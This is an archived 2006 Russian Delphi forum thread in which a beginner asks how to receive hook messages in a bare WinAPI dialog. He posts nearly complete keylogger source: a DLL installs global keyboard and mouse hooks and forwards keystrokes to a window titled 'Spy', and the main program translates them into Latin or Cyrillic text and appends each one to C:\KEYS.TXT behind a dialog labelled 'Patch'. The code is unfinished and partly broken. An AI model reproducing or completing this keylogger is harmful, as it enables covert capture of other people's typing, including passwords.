Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];
ВнизWinAPI проблема с type Найти похожие ветки
← →
maxim123 (2006-01-04 20:20) [0]Здравствуйте.
Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в Type
Program Patch;
Uses windows,messages, shellapi;
type TWMU=record
msg:Cardinal;
UU1:Word;
UU2:Word;
UU3:LongInt;
Result:LongInt;
end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
// private
// procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;
← →
Maxim123 (2006-01-04 20:56) [1]Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму
← →
Игорь Шевченко © (2006-01-05 10:27) [2]
> как обработать информацию приходящию на WinApi Форму
Очевидно в оконной процедуре ? Я угадал ?
← →
maxim123 (2006-01-05 12:36) [3]Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);
но как их принять???
← →
Игорь Шевченко © (2006-01-05 12:37) [4]
> но как их принять???
Также, как другие сообщения - в оконной процедуре.
← →
maxim123 (2006-01-05 12:39) [5]А примерчик можно
← →
Игорь Шевченко © (2006-01-05 13:39) [6]
> А примерчик можно
У тебя он уже есть - твоя "форма на WinAPI"
← →
Gero © (2006-01-05 13:44) [7]> SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);
А ведь так потом и пишут в программах.
← →
maxim123 (2006-01-05 13:55) [8]мда ну тогда приведу весь код
DLL
library hook;
uses
windows;
const
//Messages.pas;
WM_CHAR = $0102;
function KeyboardProc(code:Integer;wparam,
lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow("TForm1","Шпион"),WM_CHAR,wparam,0);
Result:=0;
end;
exports
KeyboardProc;
begin
end.
Сама программа
Program Patch;
Uses windows,messages, shellapi, SysUtils, Classes, dialogs;
//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
// procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;
var
Msg2:TWMKEY;
msg: tmsg;
win: hwnd;
h,z:hhook;
libhandle:HINST;
hkprcKeyboard: TFNHookProc;
x:integer;
{$R API.RES}
procedure setHookApi;
begin
end;
procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;
//Функция определения язака
function WinLang:Boolean;
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = "00000409" then Result:=False else Result:=True ;
end;
//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300) then
begin
if WinLang then begin
case Msg2.CharCode of
522: click:="[Rolik]";
519: click:="[Mouse3]";
520: click:="[Mouse3]";
513: click:="[MouseLeft]";
514: click:="[MouseLeft]";
516: click:="[MouseRight]";
517: click:="[MouseRight]";
8: click:="[BackSpase]";
9: click:="[Tab]";
13: click:="[Enter]";
16: click:="[Shift]";
17: click:="[Control]";
18: click:="[Alt]";
19: click:="[Pause]";
20: click:="[CapsLock]";
27: click:="[Esc]";
32: click:="[Space]";
33: click:="[PageUp]";
34: click:="[PageDown]";
35: click:="[End]";
36: click:="[Home]";
37: click:="[влево]";
38: click:="[вверх]";
39: click:="[вправо]";
40: click:="[вниз]";
44: click:="[PrtScr]";
45: click:="[Insert]";
46: click:="[Del]";
48: click:="0";
49: click:="1";
50: click:="2";
51: click:="3";
52: click:="4";
53: click:="5";
54: click:="6";
55: click:="7";
56: click:="8";
57: click:="9";
65: click:="ф";
66: click:="и";
67: click:="с";
68: click:="в";
69: click:="у";
70: click:="а";
71: click:="п";
72: click:="р";
73: click:="ш";
74: click:="о";
75: click:="л";
76: click:="д";
77: click:="ь";
78: click:="т";
79: click:="щ";
80: click:="з";
81: click:="й";
82: click:="к";
83: click:="ы";
84: click:="е";
85: click:="г";
86: click:="м";
87: click:="ц";
88: click:="ч";
89: click:="н";
90: click:="я";
91: click:="[WinKeyL]";
92: click:="[WinKeyR]";
93: click:="[ContextMenu]";
96: click:="0";
97: click:="1";
98: click:="2";
99: click:="3";
100: click:="4";
101: click:="5";
102: click:="6";
103: click:="7";
104: click:="8";
105: click:="9";
144: click:="[NumLock]";
111: click:="/";
106: click:="*";
109: click:="-";
107: click:="+";
110: click:=".";
112: click:="[F1]";
113: click:="[F2]";
114: click:="[F3]";
115: click:="[F4]";
116: click:="[F5]";
117: click:="[F6]";
118: click:="[F7]";
119: click:="[F8]";
120: click:="[F9]";
121: click:="[F10]";
122: click:="[F11";
123: click:="[F12]";
145: click:="[ScrollLock]";
186: click:="ж";
187: click:="=";
188: click:="б";
189: click:="-";
190: click:="ю";
191: click:=".";
192: click:="`";
219: click:="х";
220: click:="\";
221: click:="ъ";
222: click:="э";
end;
end else begin
case Msg2.CharCode of
522: click:="[Rolik]";
519: click:="[Mouse3]";
520: click:="[Mouse3]";
513: click:="[MouseLeft]";
514: click:="[MouseLeft]";
516: click:="[MouseRight]";
517: click:="[MouseRight]";
8: click:="[BackSpase]";
9: click:="[Tab]";
13: click:="[Enter]";
16: click:="[Shift]";
17: click:="[Control]";
18: click:="[Alt]";
19: click:="[Pause]";
20: click:="[CapsLock]";
27: click:="[Esc]";
32: click:="[Space]";
33: click:="[PageUp]";
34: click:="[PageDown]";
35: click:="[End]";
36: click:="[Home]";
37: click:="[влево]";
38: click:="[вверх]";
39: click:="[вправо]";
40: click:="[вниз]";
44: click:="[PrtScr]";
45: click:="[Insert]";
46: click:="[Del]";
48: click:="0";
49: click:="1";
50: click:="2";
51: click:="3";
52: click:="4";
53: click:="5";
54: click:="6";
55: click:="7";
56: click:="8";
57: click:="9";
65: click:="a";
66: click:="b";
67: click:="c";
68: click:="d";
69: click:="e";
70: click:="f";
71: click:="g";
72: click:="h";
73: click:="i";
74: click:="j";
75: click:="k";
76: click:="l";
77: click:="m";
78: click:="n";
79: click:="o";
80: click:="p";
81: click:="q";
82: click:="r";
83: click:="s";
84: click:="t";
85: click:="u";
86: click:="v";
87: click:="w";
88: click:="x";
89: click:="y";
90: click:="z";
91: click:="[WinKeyL]";
92: click:="[WinKeyR]";
93: click:="[ContextMenu]";
96: click:="0";
97: click:="1";
98: click:="2";
99: click:="3";
100: click:="4";
101: click:="5";
102: click:="6";
103: click:="7";
104: click:="8";
105: click:="9";
144: click:="[NumLock]";
111: click:="/";
106: click:="*";
109: click:="-";
107: click:="+";
110: click:=".";
112: click:="[F1]";
113: click:="[F2]";
114: click:="[F3]";
115: click:="[F4]";
116: click:="[F5]";
117: click:="[F6]";
118: click:="[F7]";
119: click:="[F8]";
120: click:="[F9]";
121: click:="[F10]";
122: click:="[F11";
123: click:="[F12]";
145: click:="[ScrollLock]";
186: click:=";";
187: click:="=";
188: click:=",";
189: click:="-";
190: click:=".";
191: click:="/";
192: click:="`";
219: click:="[";
220: click:="\";
221: click:="]";
222: click:="`";
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,"C:\KEYS.TXT");
If not FileExists("C:\KEYS.TXT") then Rewrite(F)else
Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;
← →
maxim123 (2006-01-05 13:55) [9]Procedure trans;
type
TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
LWA_ALPHA = $2;
WS_EX_LAYERED = $80000;
var
LayeredWndAttr: TLayeredWndAttr;
i : integer;
begin
i := 50;
LayeredWndAttr := GetProcAddress(GetModuleHandle("user32.dll"),
"SetLayeredWindowAttributes");
SetWindowLong(FindWindow(nil,"test"), GWL_EXSTYLE, WS_EX_LAYERED);
LayeredWndAttr(FindWindow(nil,"test"), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;
Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;
Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
case LoWord(WParam) of
50: begin
trans;
setHookApi;
end;
// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;
Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;
begin
x:=0;
libhandle:=LoadLibrary("hook.dll");
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, "KeyboardProc");
h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
api.rc
101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end
← →
maxim123 (2006-01-05 14:01) [10]поправочка в DLL вместо Tform1 NIL вместо шпион test
← →
Игорь Шевченко © (2006-01-05 14:33) [11]А где форма на апи ?
← →
maxim123 (2006-01-05 14:38) [12]вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru
Страницы: 1 вся ветка
Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];
Память: 0.5 MB
Время: 0.038 c